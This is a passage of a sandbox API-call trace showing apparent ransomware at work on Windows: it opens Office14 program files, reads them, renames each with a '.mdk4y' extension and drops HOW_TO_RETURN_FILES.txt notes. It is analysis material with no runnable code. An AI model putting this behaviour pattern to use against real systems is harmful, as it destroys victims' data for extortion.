lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DBWIZ.DLLLL", lpUsedDefaultChar=0x37dfd8) returned 9 [0210.006] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0210.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828523800000) returned 1 [0210.008] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0210.032] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828526200000) returned 1 [0210.032] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828526200000) returned 1 [0210.040] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll.mdk4y")) returned 1 [0210.043] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0210.043] AreFileApisANSI () returned 1 [0210.043] GetACP () returned 0x4e4 [0210.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGRMLNCH.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DGRMLNCH.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0210.043] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0210.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828527500000) returned 1 [0210.045] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1a968, lpOverlapped=0x0) returned 1 [0210.076] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828530600000) returned 1 [0210.076] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828530600000) returned 1 [0210.077] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll.mdk4y")) returned 1 [0210.080] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0210.080] AreFileApisANSI () returned 1 [0210.080] GetACP () returned 0x4e4 [0210.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DLGSETP.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DLGSETP.DLLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0210.080] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0210.082] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828531200000) returned 1 [0210.082] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1c770, lpOverlapped=0x0) returned 1 [0210.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828531300000) returned 1 [0210.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828531300000) returned 1 [0210.087] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll.mdk4y")) returned 1 [0210.088] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0210.088] AreFileApisANSI () returned 1 [0210.088] GetACP () returned 0x4e4 [0210.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Document Parts", cchWideChar=14, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Document Partsc", lpUsedDefaultChar=0x37dfd8) returned 14 [0210.088] AreFileApisANSI () returned 1 [0210.088] GetACP () returned 0x4e4 [0210.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=58, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\") returned 58 [0210.089] AreFileApisANSI () returned 1 [0210.089] GetACP () returned 0x4e4 [0210.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0210.089] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0210.089] AreFileApisANSI () returned 1 [0210.089] GetACP () returned 0x4e4 [0210.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..", lpUsedDefaultChar=0x37df4c) returned 2 [0210.089] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0210.089] AreFileApisANSI () returned 1 [0210.089] GetACP () returned 0x4e4 [0210.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="1033", lpUsedDefaultChar=0x37df4c) returned 4 [0210.089] AreFileApisANSI () returned 1 [0210.089] GetACP () returned 0x4e4 [0210.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=63, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\ĺ?") returned 63 [0210.089] AreFileApisANSI () returned 1 [0210.089] GetACP () returned 0x4e4 [0210.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 1 [0210.089] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0210.089] AreFileApisANSI () returned 1 [0210.089] GetACP () returned 0x4e4 [0210.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 2 [0210.089] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0210.089] AreFileApisANSI () returned 1 [0210.089] GetACP () returned 0x4e4 [0210.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="14", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="14", lpUsedDefaultChar=0x37dec0) returned 2 [0210.090] AreFileApisANSI () returned 1 [0210.090] GetACP () returned 0x4e4 [0210.090] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=66, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\㗃ĺ@") returned 66 [0210.090] AreFileApisANSI () returned 1 [0210.090] GetACP () returned 0x4e4 [0210.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 1 [0210.090] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0210.090] AreFileApisANSI () returned 1 [0210.090] GetACP () returned 0x4e4 [0210.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 2 [0210.090] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0210.090] AreFileApisANSI () returned 1 [0210.090] GetACP () returned 0x4e4 [0210.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Built-In Building Blocks.dotx", cchWideChar=29, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Built-In Building Blocks.dotxw5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 29 [0210.091] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0210.092] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828532200000) returned 1 [0210.092] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x100000, lpOverlapped=0x0) returned 1 [0210.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828535600000) returned 1 [0210.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828535600000) returned 1 [0210.163] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx.mdk4y")) returned 1 [0210.166] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0210.166] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0210.167] AreFileApisANSI () returned 1 [0210.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0210.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe0 [0210.170] GetFileType (hFile=0xe0) returned 0x1 [0210.171] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0210.171] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0210.173] AreFileApisANSI () returned 1 [0210.173] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0210.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0210.175] GetFileType (hFile=0xd8) returned 0x1 [0210.176] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0210.176] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0210.178] AreFileApisANSI () returned 1 [0210.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0210.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0210.180] GetFileType (hFile=0x12c) returned 0x1 [0210.181] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0210.181] AreFileApisANSI () returned 1 [0210.181] GetACP () returned 0x4e4 [0210.181] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DRILLDWN.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DRILLDWN.DLLts", lpUsedDefaultChar=0x37dfd8) returned 12 [0210.181] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0210.184] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828541400000) returned 1 [0210.184] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0210.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828547600000) returned 1 [0210.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828547600000) returned 1 [0210.303] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll.mdk4y")) returned 1 [0210.304] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0210.304] AreFileApisANSI () returned 1 [0210.304] GetACP () returned 0x4e4 [0210.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DWGCNV.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DWGCNV.DLLLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0210.305] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGCNV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgcnv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0210.306] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828553600000) returned 1 [0210.306] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x36160, lpOverlapped=0x0) returned 1 [0210.326] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828555600000) returned 1 [0210.326] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828555600000) returned 1 [0210.328] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGCNV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgcnv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGCNV.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\dwgcnv.dll.mdk4y")) returned 1 [0210.330] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0210.330] AreFileApisANSI () returned 1 [0210.330] GetACP () returned 0x4e4 [0210.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DWGDP.DLL", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="DWGDP.DLLL", lpUsedDefaultChar=0x37dfd8) returned 9 [0210.330] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0210.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828556100000) returned 1 [0210.331] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0210.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828561300000) returned 1 [0210.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828561400000) returned 1 [0210.395] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll.mdk4y")) returned 1 [0210.398] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0210.398] AreFileApisANSI () returned 1 [0210.398] GetACP () returned 0x4e4 [0210.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EDITOR.EXE", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="EDITOR.EXE", lpUsedDefaultChar=0x37dfd8) returned 10 [0210.398] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\editor.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0210.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828562900000) returned 1 [0210.399] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x30968, lpOverlapped=0x0) returned 1 [0210.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828565400000) returned 1 [0210.425] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828565500000) returned 1 [0210.427] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\editor.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITOR.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\editor.exe.mdk4y")) returned 1 [0210.429] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0210.429] AreFileApisANSI () returned 1 [0210.429] GetACP () returned 0x4e4 [0210.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EDITORS.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="EDITORS.DLLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0210.429] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITORS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\editors.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0210.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828566000000) returned 1 [0210.430] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xad88, lpOverlapped=0x0) returned 1 [0210.432] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828566200000) returned 1 [0210.432] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828566200000) returned 1 [0210.433] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITORS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\editors.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITORS.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\editors.dll.mdk4y")) returned 1 [0210.434] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0210.434] AreFileApisANSI () returned 1 [0210.434] GetACP () returned 0x4e4 [0210.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ELEMENTS.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ELEMENTS.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0210.434] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\elements.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0210.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828566700000) returned 1 [0210.437] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, 